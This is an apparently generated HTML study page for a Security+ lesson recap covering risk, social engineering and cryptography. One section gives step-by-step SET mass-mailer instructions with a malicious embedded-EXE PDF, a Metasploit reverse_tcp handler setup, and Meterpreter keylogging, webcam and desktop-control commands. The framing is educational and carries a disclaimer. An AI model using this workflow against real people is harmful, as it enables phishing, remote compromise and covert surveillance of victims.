security-quickcheat-pro / lesson_3.html
scotty055's picture
for the exercise recap "Using SET to perform social engineering" can you detail how SET the social engineering toolkit can be used to send mass emails and include a malicious meterpreter session. describe what metasploit is and how we use it to catch the reverse shell, also describe what a reverse shell is. Include extra guidance on a few of the interesting functions of the meterpreter payload like keyscan_start, Keyscan_dump, uictl, screenshare and webcam_stream. Of course include the legal and ethical disclaimer.
396ced6 verified
Raw History Blame Contribute Delete
19.9 kB
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Lesson 3 Recap | Security+ QuickCheat Pro</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://unpkg.com/feather-icons"></script>
<style>
@media print {
.no-print {
display: none !important;
}
body {
padding: 0;
margin: 0;
background: white;
color: black;
}
.print-section {
page-break-inside: avoid;
}
}
.info-card {
background: linear-gradient(145deg, #f1f5f9, #e2e8f0);
border-radius: 0.5rem;
}
.risk-formula {
font-family: monospace;
background-color: #f3f4f6;
padding: 0.5rem;
border-radius: 0.25rem;
}
</style>
</head>
<body class="bg-gray-50 text-gray-800 font-sans">
<div class="container mx-auto px-4 py-8 max-w-4xl">
<!-- Header -->
<header class="mb-8 text-center no-print">
<h1 class="text-4xl font-bold text-primary mb-2">Lesson 3 Recap</h1>
<p class="text-lg text-secondary">Vulnerabilities, Threats, Risk & Cryptography</p>
<div class="flex justify-center gap-4 mt-4">
<button onclick="window.print()" class="px-6 py-2 bg-primary text-white rounded-lg hover:bg-blue-700 transition flex items-center">
<i data-feather="printer" class="mr-2"></i> Print Guide
</button>
<a href="index.html" class="px-6 py-2 bg-secondary text-white rounded-lg hover:bg-green-700 transition flex items-center">
<i data-feather="arrow-left" class="mr-2"></i> Back to Main
</a>
</div>
</header>
<!-- Main Content -->
<main class="bg-white shadow-lg rounded-lg p-6 print:p-0">
<!-- Risk Fundamentals Section -->
<section class="mb-10 print-section">
<h2 class="text-2xl font-bold text-primary border-b-2 border-primary pb-2 mb-4 flex items-center">
<i data-feather="alert-triangle" class="mr-2"></i> Risk Fundamentals
</h2>
<div class="grid grid-cols-1 md:grid-cols-2 gap-6">
<div>
<h3 class="font-semibold text-secondary mb-2">Risk Definition (ISO 31000)</h3>
<blockquote class="bg-gray-50 p-4 rounded-lg italic">
"The effect of uncertainty on objectives"
</blockquote>
<ul class="list-disc pl-5 mt-4 space-y-2">
<li>All activity is subject to some degree of risk</li>
<li>We cannot eliminate risk entirely</li>
<li>Goal is to reduce risk to acceptable levels</li>
</ul>
</div>
<div class="info-card p-4">
<h3 class="font-semibold text-secondary mb-2">Risk Calculation Formula</h3>
<div class="text-center my-4">
<div class="risk-formula inline-block">
Likelihood Γ— Impact Γ— Vulnerability
</div>
<div class="mt-2 text-sm">OR</div>
<div class="risk-formula inline-block">
Threat + Vulnerability
</div>
</div>
<div class="grid grid-cols-2 gap-2 mt-4">
<div>
<h4 class="font-semibold text-sm">Vulnerability</h4>
<p class="text-sm">Weakness in an asset</p>
</div>
<div>
<h4 class="font-semibold text-sm">Threat</h4>
<p class="text-sm">Actor/event that could exploit vulnerability</p>
</div>
</div>
</div>
</div>
</section>
<!-- Risk Management Section -->
<section class="mb-10 print-section">
<h2 class="text-2xl font-bold text-primary border-b-2 border-primary pb-2 mb-4 flex items-center">
<i data-feather="shield" class="mr-2"></i> Risk Management
</h2>
<div class="grid grid-cols-1 md:grid-cols-3 gap-4">
<div class="bg-gray-50 p-4 rounded-lg">
<h3 class="font-semibold text-secondary mb-2">Gap Analysis</h3>
<p class="mb-2">The difference between:</p>
<ul class="list-disc pl-5 space-y-1">
<li>Current security posture</li>
<li>Desired security posture</li>
</ul>
</div>
<div class="bg-gray-50 p-4 rounded-lg">
<h3 class="font-semibold text-secondary mb-2">Risk Registers</h3>
<ul class="list-disc pl-5 space-y-1">
<li>Risk description</li>
<li>Severity rating</li>
<li>Risk owner</li>
<li>Mitigation strategies</li>
<li>Often uses heat maps</li>
</ul>
</div>
<div class="bg-gray-50 p-4 rounded-lg">
<h3 class="font-semibold text-secondary mb-2">Residual Risk</h3>
<ul class="list-disc pl-5 space-y-1">
<li>Risk remaining after controls</li>
<li>Cannot be fully eliminated</li>
<li>Risk Appetite varies by organization</li>
<li>May have formal risk appetite statement</li>
</ul>
</div>
</div>
</section>
<!-- Attack Surface Section -->
<section class="mb-10 print-section">
<h2 class="text-2xl font-bold text-primary border-b-2 border-primary pb-2 mb-4 flex items-center">
<i data-feather="target" class="mr-2"></i> Attack Surface & Threat Vectors
</h2>
<div class="grid grid-cols-1 md:grid-cols-2 gap-6">
<div>
<h3 class="font-semibold text-secondary mb-2">Attack Surface Lenses</h3>
<div class="bg-gray-50 p-4 rounded-lg">
<div class="mb-3">
<h4 class="font-semibold">Physical</h4>
<p class="text-sm">Building access, movement controls</p>
</div>
<div class="mb-3">
<h4 class="font-semibold">Logical</h4>
<p class="text-sm">Exposed IPs, ports, network access</p>
</div>
<div>
<h4 class="font-semibold">Human</h4>
<p class="text-sm">Employee discoverability, vulnerability</p>
</div>
</div>
</div>
<div>
<h3 class="font-semibold text-secondary mb-2">Threat Vectors</h3>
<div class="bg-gray-50 p-4 rounded-lg">
<ul class="list-disc pl-5 space-y-2">
<li>Vulnerable software components</li>
<li>Insecure network protocols</li>
<li>Insecure supply chain elements</li>
<li>Humans vulnerable to coercion</li>
<li>Requires both vulnerability and exploit mechanism</li>
</ul>
</div>
</div>
</div>
</section>
<!-- Social Engineering Section -->
<section class="mb-10 print-section">
<h2 class="text-2xl font-bold text-primary border-b-2 border-primary pb-2 mb-4 flex items-center">
<i data-feather="user" class="mr-2"></i> Social Engineering
</h2>
<div class="bg-yellow-50 p-4 rounded-lg border border-yellow-200 mb-6">
<h3 class="font-semibold text-yellow-600 mb-2">Human Vulnerabilities</h3>
<div class="grid grid-cols-2 md:grid-cols-3 gap-2">
<span class="bg-white px-3 py-1 rounded-full text-center text-sm">Empathy</span>
<span class="bg-white px-3 py-1 rounded-full text-center text-sm">Fear</span>
<span class="bg-white px-3 py-1 rounded-full text-center text-sm">Fitting In</span>
<span class="bg-white px-3 py-1 rounded-full text-center text-sm">Kindness</span>
<span class="bg-white px-3 py-1 rounded-full text-center text-sm">Respect for Authority</span>
<span class="bg-white px-3 py-1 rounded-full text-center text-sm">Helpfulness</span>
</div>
</div>
<div class="grid grid-cols-1 md:grid-cols-2 gap-6">
<div>
<h3 class="font-semibold text-secondary mb-2">Social Engineering Types - 1</h3>
<div class="bg-gray-50 p-4 rounded-lg">
<ul class="list-disc pl-5 space-y-2">
<li><strong>Phishing:</strong> Fraudulent emails appearing legitimate</li>
<li><strong>Pharming:</strong> DNS abuse to redirect to fake sites</li>
<li><strong>Vishing:</strong> Phone-based manipulation</li>
<li><strong>Smishing:</strong> SMS/text message scams</li>
</ul>
</div>
</div>
<div>
<h3 class="font-semibold text-secondary mb-2">Social Engineering Types - 2</h3>
<div class="bg-gray-50 p-4 rounded-lg">
<ul class="list-disc pl-5 space-y-2">
<li><strong>Typosquatting:</strong> Fake domains similar to real ones</li>
<li><strong>Business Email Compromise:</strong> Compromised trusted accounts</li>
<li><strong>Watering Hole:</strong> Compromising frequently visited sites</li>
<li><strong>Deep Fakes:</strong> Synthetic media for deception</li>
</ul>
</div>
</div>
</div>
</section>
<!-- Social Engineering Toolkit Section -->
<section class="mb-10 print-section">
<h2 class="text-2xl font-bold text-primary border-b-2 border-primary pb-2 mb-4 flex items-center">
<i data-feather="mail" class="mr-2"></i> Social Engineering Toolkit (SET) Exercise
</h2>
<div class="bg-red-50 p-4 rounded-lg border border-red-200 mb-6">
<h3 class="font-semibold text-red-600 mb-2">Legal & Ethical Disclaimer</h3>
<ul class="list-disc pl-5 space-y-2">
<li>SET should only be used on systems you own or have explicit permission to test</li>
<li>Unauthorized use for phishing or exploitation is illegal</li>
<li>Always obtain written permission before security testing</li>
<li>This content is for educational purposes only</li>
</ul>
</div>
<div class="grid grid-cols-1 gap-6">
<div class="bg-gray-50 p-4 rounded-lg">
<h3 class="font-semibold text-secondary mb-2">SET Mass Email Campaign</h3>
<ol class="list-decimal pl-5 space-y-2">
<li>Launch SET: <span class="font-mono bg-gray-200 px-2 py-1 rounded">setoolkit</span></li>
<li>Select "Social-Engineering Attacks" (1)</li>
<li>Choose "Mass Mailer Attack" (4)</li>
<li>Select "E-Mail Attack Single Email Address" (1)</li>
<li>Input target email addresses (or use a list)</li>
<li>Choose "PDF with Embedded EXE" (3)</li>
<li>Configure payload with Metasploit (see below)</li>
</ol>
</div>
<div class="bg-gray-50 p-4 rounded-lg">
<h3 class="font-semibold text-secondary mb-2">Metasploit & Reverse Shells</h3>
<p><strong>Metasploit:</strong> A penetration testing framework that automates exploit development and payload delivery.</p>
<p><strong>Reverse Shell:</strong> A connection initiated from the victim machine back to the attacker, bypassing firewalls that block incoming connections.</p>
<div class="code-block bg-gray-800 text-gray-100 p-3 rounded-lg text-sm mt-2">
<span class="text-green-300"># Metasploit handler setup for SET payload</span><br>
<span class="text-blue-300">msfconsole</span><br>
<span class="text-blue-300">use exploit/multi/handler</span><br>
<span class="text-blue-300">set payload windows/meterpreter/reverse_tcp</span><br>
<span class="text-blue-300">set LHOST [your_ip]</span><br>
<span class="text-blue-300">set LPORT 443</span><br>
<span class="text-blue-300">exploit</span>
</div>
</div>
<div class="bg-gray-50 p-4 rounded-lg">
<h3 class="font-semibold text-secondary mb-2">Meterpreter Advanced Functions</h3>
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
<div>
<h4 class="font-semibold text-sm">Keylogging</h4>
<div class="font-mono bg-gray-200 px-2 py-1 rounded text-sm">keyscan_start</div>
<div class="font-mono bg-gray-200 px-2 py-1 rounded text-sm mt-1">keyscan_dump</div>
<p class="text-sm mt-1">Captures keystrokes from the victim machine</p>
</div>
<div>
<h4 class="font-semibold text-sm">Webcam</h4>
<div class="font-mono bg-gray-200 px-2 py-1 rounded text-sm">webcam_stream</div>
<p class="text-sm mt-1">Streams live video from victim's webcam</p>
</div>
<div>
<h4 class="font-semibold text-sm">Desktop Control</h4>
<div class="font-mono bg-gray-200 px-2 py-1 rounded text-sm">screenshare</div>
<p class="text-sm mt-1">View victim's desktop in real-time</p>
</div>
<div>
<h4 class="font-semibold text-sm">UI Control</h4>
<div class="font-mono bg-gray-200 px-2 py-1 rounded text-sm">uictl enable keyboard/mouse</div>
<p class="text-sm mt-1">Take control of input devices</p>
</div>
</div>
</div>
</div>
</section>
<!-- Cryptography Section -->
<section class="print-section">
<h2 class="text-2xl font-bold text-primary border-b-2 border-primary pb-2 mb-4 flex items-center">
<i data-feather="lock" class="mr-2"></i> Cryptography Fundamentals
</h2>
<div class="grid grid-cols-1 md:grid-cols-2 gap-6">
<div>
<h3 class="font-semibold text-secondary mb-2">Cryptographic Components</h3>
<div class="bg-gray-50 p-4 rounded-lg">
<ul class="list-disc pl-5 space-y-2">
<li><strong>Cipher:</strong> Algorithm for encryption/decryption</li>
<li><strong>Key:</strong> Secret value that controls cipher operations</li>
<li><strong>Plaintext:</strong> Original readable message</li>
<li><strong>Ciphertext:</strong> Encrypted message</li>
</ul>
<div class="mt-4">
<h4 class="font-semibold">Types of Cryptography</h4>
<ul class="list-disc pl-5 space-y-1">
<li><strong>Symmetric:</strong> Single shared key</li>
<li><strong>Asymmetric:</strong> Public/private key pairs</li>
<li><strong>Hashing:</strong> One-way transformations</li>
</ul>
</div>
</div>
</div>
<div>
<h3 class="font-semibold text-secondary mb-2">Symmetric Encryption</h3>
<div class="bg-gray-50 p-4 rounded-lg">
<div class="text-center mb-4">
<p class="font-semibold">Alice β†’ [Plaintext + Cipher + Key] β†’ Ciphertext β†’ Bob</p>
<p class="font-semibold">Bob β†’ [Ciphertext + Same Key] β†’ Plaintext</p>
</div>
<ul class="list-disc pl-5 space-y-2">
<li>Fast and efficient for devices</li>
<li>Uses smaller keys than asymmetric</li>
<li>Suffers from key distribution problem</li>
<li>Example: AES (Advanced Encryption Standard)</li>
</ul>
</div>
</div>
</div>
</section>
<style>
.code-block {
background-color: #1e293b;
color: #f8fafc;
border-radius: 0.5rem;
font-family: monospace;
}
</style>
</main>
<!-- Footer -->
<footer class="mt-12 text-center text-sm text-gray-500 no-print">
<p>Lesson 3 Recap - Security+ QuickCheat Pro</p>
<p class="mt-1">For optimal printing, use Chrome/Firefox and select "Background graphics" in print settings</p>
</footer>
</div>
<script>
feather.replace();
</script>
</body>
</html>